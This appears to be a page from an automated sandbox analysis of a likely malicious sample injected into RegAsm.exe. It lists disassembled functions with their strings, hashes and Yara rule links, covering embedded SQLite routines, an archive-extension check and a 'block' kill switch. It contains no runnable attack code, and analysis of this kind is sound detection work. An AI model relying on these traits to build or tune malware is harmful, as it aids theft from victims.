Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ORDER BY name$%s at line %d of [%.10s]$API call with %s database connection pointer$NULL$SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0)$WHERE name=%Q$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unopened
API String ID: 0-1179878930
Opcode ID: 10dd73e20e03231fbcebe4a63cb2678044e6c1199cdbf7bdaf91aa303355e1e4
Instruction ID: 2df5d607f4d009849a6ebc0cb775181e8797f97c68283792c8ad4f046610e368
Opcode Fuzzy Hash: 10dd73e20e03231fbcebe4a63cb2678044e6c1199cdbf7bdaf91aa303355e1e4
Instruction Fuzzy Hash: BEC157719047059BE7118F24CC84B8B77A0AF40368F044929FD59ABB52E73AF94BD7A2

Function 1FF4EF60 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 192COMMON

Download Yara Rule

Strings

<V , xrefs: 1FF4EFB0
,origin, xrefs: 1FF4F0D6, 1FF4F0DE
U , xrefs: 1FF4EFA8
\W , xrefs: 1FF4EFE8
(W , xrefs: 1FF4EFE0
dV , xrefs: 1FF4F0F3

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: (W $,origin$<V $\W $dV $U
API String ID: 0-2437278411
Opcode ID: 6b18267d676322e7cc8d052d1950ab7a18748a728cae3c7458808ec75f8a5234
Instruction ID: a9a3c1cd05a3faf688eaf420869eb63f80bda33ac2bea75e386201c385ab02ca
Opcode Fuzzy Hash: 6b18267d676322e7cc8d052d1950ab7a18748a728cae3c7458808ec75f8a5234
Instruction Fuzzy Hash: 30718076508301DFE7119F68CC8895ABBB5FF88301F204A1DF98987261EB76E851DF62

Function 1FFD5D70 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 266COMMON

Download Yara Rule

Strings

usermerge, xrefs: 1FFD5EAD
hashsize, xrefs: 1FFD5DF0
automerge, xrefs: 1FFD5E59
rank, xrefs: 1FFD5FBB
crisismerge, xrefs: 1FFD5EF7
deletemerge, xrefs: 1FFD5F64
secure-delete, xrefs: 1FFD6031
pgsz, xrefs: 1FFD5D81

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: automerge$crisismerge$deletemerge$hashsize$pgsz$rank$secure-delete$usermerge
API String ID: 0-3330941169
Opcode ID: 1372ab77179561fa58b3eb1dd02dce25a1c03c322aa0e57b83c584830d92c0b3
Instruction ID: a546370ba4b7f97c3a9434515f68787f0bbe04287b1b7ac1c624a9a8d7bbc294
Opcode Fuzzy Hash: 1372ab77179561fa58b3eb1dd02dce25a1c03c322aa0e57b83c584830d92c0b3
Instruction Fuzzy Hash: B07178F6B043114BE6059A59AC40A4F7BD5EFC5216F08047EFA46CB352FB21F94A87B2

Function 0041B3A6 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32 ref: 0041B3AB
StrCmpCA.SHLWAPI(?,0043513C), ref: 0041B3D9
StrCmpCA.SHLWAPI(?,.zip,?,0043513C), ref: 0041B3E9
StrCmpCA.SHLWAPI(?,.zoo,?,.zip,?,0043513C), ref: 0041B3F5
StrCmpCA.SHLWAPI(?,.arc,?,.zoo,?,.zip,?,0043513C), ref: 0041B401
StrCmpCA.SHLWAPI(?,.lzh,?,.arc,?,.zoo,?,.zip,?,0043513C), ref: 0041B40D
StrCmpCA.SHLWAPI(?,.arj,?,.lzh,?,.arc,?,.zoo,?,.zip,?,0043513C), ref: 0041B419
StrCmpCA.SHLWAPI(?,.gz,?,.arj,?,.lzh,?,.arc,?,.zoo,?,.zip,?,0043513C), ref: 0041B425
StrCmpCA.SHLWAPI(?,.tgz,?,.gz,?,.arj,?,.lzh,?,.arc,?,.zoo,?,.zip,?,0043513C), ref: 0041B431

Strings

.gz, xrefs: 0041B41F
.lzh, xrefs: 0041B407
.zoo, xrefs: 0041B3EF
.arj, xrefs: 0041B413
.tgz, xrefs: 0041B42B
.zip, xrefs: 0041B3E3
.arc, xrefs: 0041B3FB

Memory Dump Source

Source File: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: bf48692121f598ae2a451e4404f3d5fee7e9da06dc5ba4ac7349926884f11a3a
Instruction ID: d8be51a9402f13b7d4a493efc43cc631b7a0bfbc750c117bd7a7035beafa56b0
Opcode Fuzzy Hash: bf48692121f598ae2a451e4404f3d5fee7e9da06dc5ba4ac7349926884f11a3a
Instruction Fuzzy Hash: 9401B531B8172EB15A2226355D85FBF2D59CD46F807941027FC10E11ADDB8C9CA355FD

Function 1FEC5E20 Relevance: 26.7, APIs: 8, Strings: 7, Instructions: 496COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEC5F3A, 1FEC6262, 1FEC6394
misuse, xrefs: 1FEC5F35, 1FEC625D, 1FEC638F
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEC5F2B, 1FEC6253, 1FEC6385
recursive definition for %s.%s, xrefs: 1FEC5E4C
SELECT t.%Q FROM %Q.%Q AS t WHERE t.%Q MATCH '*id', xrefs: 1FEC5E6F
no such fts5 table: %s.%s, xrefs: 1FEC62EA
API called with finalized prepared statement, xrefs: 1FEC5F1F, 1FEC6247, 1FEC6379

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$SELECT t.%Q FROM %Q.%Q AS t WHERE t.%Q MATCH '*id'$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$no such fts5 table: %s.%s$recursive definition for %s.%s
API String ID: 0-1070437968
Opcode ID: 1dd39f4fbac886a6170e39a86a7ad81b1dd553fbd04b78cbbc3d02133cd430bc
Instruction ID: d2974705adcb4fefd4983f9537f26732f5351d395cb23f220e7013d8ec79d5cf
Opcode Fuzzy Hash: 1dd39f4fbac886a6170e39a86a7ad81b1dd553fbd04b78cbbc3d02133cd430bc
Instruction Fuzzy Hash: 0B02EEB1A047419BE7108F64CD84B9BB7E8BF84319F04452DF98D9B242EB75F548CBA2

Function 00413526 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block), ref: 0041353B
ExitProcess.KERNEL32 ref: 00413546
strtok_s.MSVCRT ref: 00413557

Strings

block, xrefs: 0041352F

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2820019edab1ef8c99615fa8193b9c790b51ae39cb40b14ac640b686b5597279
Instruction ID: bee24d8b2c9262bdc3407a0bf6b1c8e5adbabb1a9cc72e537a727026049b4476
Opcode Fuzzy Hash: 2820019edab1ef8c99615fa8193b9c790b51ae39cb40b14ac640b686b5597279
Instruction Fuzzy Hash: 7D4196B0B80309FBDB205F72CD58A9777ADAB18706F20517BE40AD2250EF38D6518B9D

Function 1FF39980 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 429COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF39A44, 1FF39D9F
misuse, xrefs: 1FF39A3F, 1FF39D9A
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF39A35, 1FF39D90
API called with NULL prepared statement, xrefs: 1FF39A04
no such function: %s, xrefs: 1FF39E8C
SELECT %s, xrefs: 1FF399B1
API called with finalized prepared statement, xrefs: 1FF39A19, 1FF39D84

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$SELECT %s$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$no such function: %s
API String ID: 0-3900766660
Opcode ID: c4d72fbefb4de73b6fe18d0b09434f066f604b7e777b1ef1b90b888c2252ecbd
Instruction ID: 2f8e8be2073171fb849938f7b9b234155503d2dceffd1a1f5d0eb2a03b5fdb66
Opcode Fuzzy Hash: c4d72fbefb4de73b6fe18d0b09434f066f604b7e777b1ef1b90b888c2252ecbd
Instruction Fuzzy Hash: A3E1E4B1D047469BE7208F25C880B5B77E6BF84316F04052CE99A9B342E7B5F945C7B2

Function 1FEF3800 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 184COMMON

Download Yara Rule

Strings

integer, xrefs: 1FEF389A
no such rowid: %lld, xrefs: 1FEF39F8
%s at line %d of [%.10s], xrefs: 1FEF393F
misuse, xrefs: 1FEF393A
cannot open value of type %s, xrefs: 1FEF38ED
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF3930
real, xrefs: 1FEF3895, 1FEF38EC
null, xrefs: 1FEF38E7
API called with finalized prepared statement, xrefs: 1FEF3924

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$cannot open value of type %s$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$integer$misuse$no such rowid: %lld$null$real
API String ID: 0-1477268580
Opcode ID: ee88c77aff558a0619c6c0b6bbee974ca63a2dcaf00367f7f48c546c175b8767
Instruction ID: ce67f13120df5ab95c677595fcf7fed032bea962c5a56a5a3d426dff7a3cee84
Opcode Fuzzy Hash: ee88c77aff558a0619c6c0b6bbee974ca63a2dcaf00367f7f48c546c175b8767
Instruction Fuzzy Hash: 135100B5A003419FE7109F68DC80B1AB3E4FF84319F04496DEA568B752E776F8548BA1

Function 20016230 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 374COMMON

Download Yara Rule

Strings

NULL, xrefs: 20016466
%lld, xrefs: 2001649B
zeroblob(%d), xrefs: 200165AF
'%.*q', xrefs: 20016562
%!.15g, xrefs: 200164C2
%02x, xrefs: 2001660C
-- , xrefs: 200162B0, 200162C0
NULL, xrefs: 20016481

Memory Dump Source

Source File: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.15g$%02x$%lld$'%.*q'$-- $NULL$NULL$zeroblob(%d)
API String ID: 0-3665355275
Opcode ID: e6e3286a82c7124b9c2b624e97cb3daf757041b58ffd7663d15b5f9953e49092
Instruction ID: 20f30bbee261a36127bf0b58114b01b06fc9d0d90edac6f0643982286fc6a66f
Opcode Fuzzy Hash: e6e3286a82c7124b9c2b624e97cb3daf757041b58ffd7663d15b5f9953e49092
Instruction Fuzzy Hash: 87D1D0719083409BE710CFE4CC80E5EFBE9AF99348F04496DF99997211E775EA84CB52

Function 1FFDF370 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 196COMMON

Download Yara Rule

Strings

id INTEGER PRIMARY KEY, sz BLOB, xrefs: 1FFDF524, 1FFDF52C
version, xrefs: 1FFDF560
content, xrefs: 1FFDF49D
id INTEGER PRIMARY KEY, sz BLOB, origin INTEGER, xrefs: 1FFDF51C
id INTEGER PRIMARY KEY, xrefs: 1FFDF43E
, c%d, xrefs: 1FFDF469
docsize, xrefs: 1FFDF52D
config, xrefs: 1FFDF549
k PRIMARY KEY, v, xrefs: 1FFDF544

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: , c%d$config$content$docsize$id INTEGER PRIMARY KEY$id INTEGER PRIMARY KEY, sz BLOB$id INTEGER PRIMARY KEY, sz BLOB, origin INTEGER$k PRIMARY KEY, v$version
API String ID: 0-3918257174
Opcode ID: 65cf29b227d78be1c9769159cfba27e5486572f6ec6f8cd2ab0da102dde28a55
Instruction ID: f9f96bb05679928a419c7c461d09692d536957ce2367e0b1d2ce333dd1de4572
Opcode Fuzzy Hash: 65cf29b227d78be1c9769159cfba27e5486572f6ec6f8cd2ab0da102dde28a55
Instruction Fuzzy Hash: A951F3729003159BE3109F24DC84F9AB7A8EF44B65F090628FD459B281E779FA06DBF1

Function 1FEBA6C0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 195COMMON

Download Yara Rule

Strings

<polyline points=, xrefs: 1FEBA74B
%s, xrefs: 1FEBA82E
%c%g,%g, xrefs: 1FEBA78E
%g,%g', xrefs: 1FEBA7D1
></polyline>, xrefs: 1FEBA845

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %g,%g'$ %s$%c%g,%g$<polyline points=$></polyline>
API String ID: 0-3443809342
Opcode ID: 3b14919da077c3b04297a023eb0036eb1c6f6ad1614efc287a4df62b03bbbc1f
Instruction ID: 11fa47c7b596ea76891e75a19f357a8cf8095339f1d6fcc7caaa10ae6f7af18f
Opcode Fuzzy Hash: 3b14919da077c3b04297a023eb0036eb1c6f6ad1614efc287a4df62b03bbbc1f
Instruction Fuzzy Hash: C46146719047019BEB119F24CC48B9673A5BF45706F04462DFC49AB251FB39F986C7E2

Function 1FFF8F40 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 177COMMON

Download Yara Rule

Strings

NULL, xrefs: 1FFF912E
%!.20e, xrefs: 1FFF8FF1
%lld, xrefs: 1FFF900C
%!.15g, xrefs: 1FFF8F83
NULL, xrefs: 1FFF9148

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.15g$%!.20e$%lld$NULL$NULL
API String ID: 0-2115304644
Opcode ID: 4d901722f540c364b356cce84c2c9fdd4b622fa5dd11e5a09871178ceb5ce2a3
Instruction ID: 6c01c21f955d2eb82e53e5b652a67b64893b4e7efafdb893cdbf8f2ccf6e22e7
Opcode Fuzzy Hash: 4d901722f540c364b356cce84c2c9fdd4b622fa5dd11e5a09871178ceb5ce2a3
Instruction Fuzzy Hash: B7517A769047515BE720DF28CC41A9BB7E4FF81304F04496DF89AA7322E37AE645C7A2

Function 1FEC3420 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 392COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEC3557, 1FEC35A3
misuse, xrefs: 1FEC3552, 1FEC359E
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEC3548, 1FEC3594
API called with NULL prepared statement, xrefs: 1FEC3517
ATTACH x AS %Q, xrefs: 1FEC346F
API called with finalized prepared statement, xrefs: 1FEC352C, 1FEC3588

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

